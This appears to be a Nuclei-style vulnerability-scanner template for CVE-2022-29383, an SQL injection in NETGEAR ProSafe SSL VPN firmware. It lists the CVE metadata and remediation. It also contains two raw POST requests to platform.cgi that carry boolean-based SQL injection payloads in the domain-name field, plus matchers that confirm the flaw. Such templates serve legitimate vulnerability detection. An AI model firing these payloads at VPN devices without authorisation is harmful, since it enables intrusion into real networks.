NETGEAR ProSafe SSL VPN firmware - SQL Injection

id: CVE-2022-29383

info:
  name: NETGEAR ProSafe SSL VPN firmware - SQL Injection
  author: elitebaz
  severity: critical
  description: |
    NETGEAR ProSafe SSL VPN multiple firmware versions were discovered to contain a SQL injection vulnerability via USERDBDomains.Domainname at cgi-bin/platform.cgi.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL commands, potentially leading to unauthorized access, data leakage, or denial of service.
  remediation: |
    Apply the latest firmware update provided by NETGEAR to mitigate this vulnerability.
  reference:
    - http://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-29383
    - https://github.com/badboycxcc/Netgear-ssl-vpn-20211222-CVE-2022-29383
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29383
    - https://github.com/badboycxcc/Netgear-ssl-vpn-20211222
    - https://www.netgear.com/about/security/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-29383
    cwe-id: CWE-89
    epss-score: 0.48537
    epss-percentile: 0.9888
    cpe: cpe:2.3:o:netgear:ssl312_firmware:fvs336gv2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: netgear
    product: ssl312_firmware
  tags: cve2022,cve,sqli,netgear,router,vkev,vuln

http:
  - raw:
      - |
        POST /scgi-bin/platform.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=utf-8

        thispage=index.htm&USERDBUsers.UserName=NjVI&USERDBUsers.Password=&USERDBDomains.Domainname=geardomain'+AND+'5434'%3d'5435'+AND+'MwLj'%3d'MwLj&button.login.USERDBUsers.router_status=Login&Login.userAgent=MDpd
      - |
        POST /scgi-bin/platform.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=utf-8

        thispage=index.htm&USERDBUsers.UserName=NjVI&USERDBUsers.Password=&USERDBDomains.Domainname=geardomain'+AND+'5434'%3d'5434'+AND+'MwLj'%3d'MwLj&button.login.USERDBUsers.router_status=Login&Login.userAgent=MDpd

    matchers:
      - type: dsl
        dsl:
          - contains(body_1, "User authentication Failed")
          - contains(body_2, "User Login Failed for SSLVPN User.")
        condition: and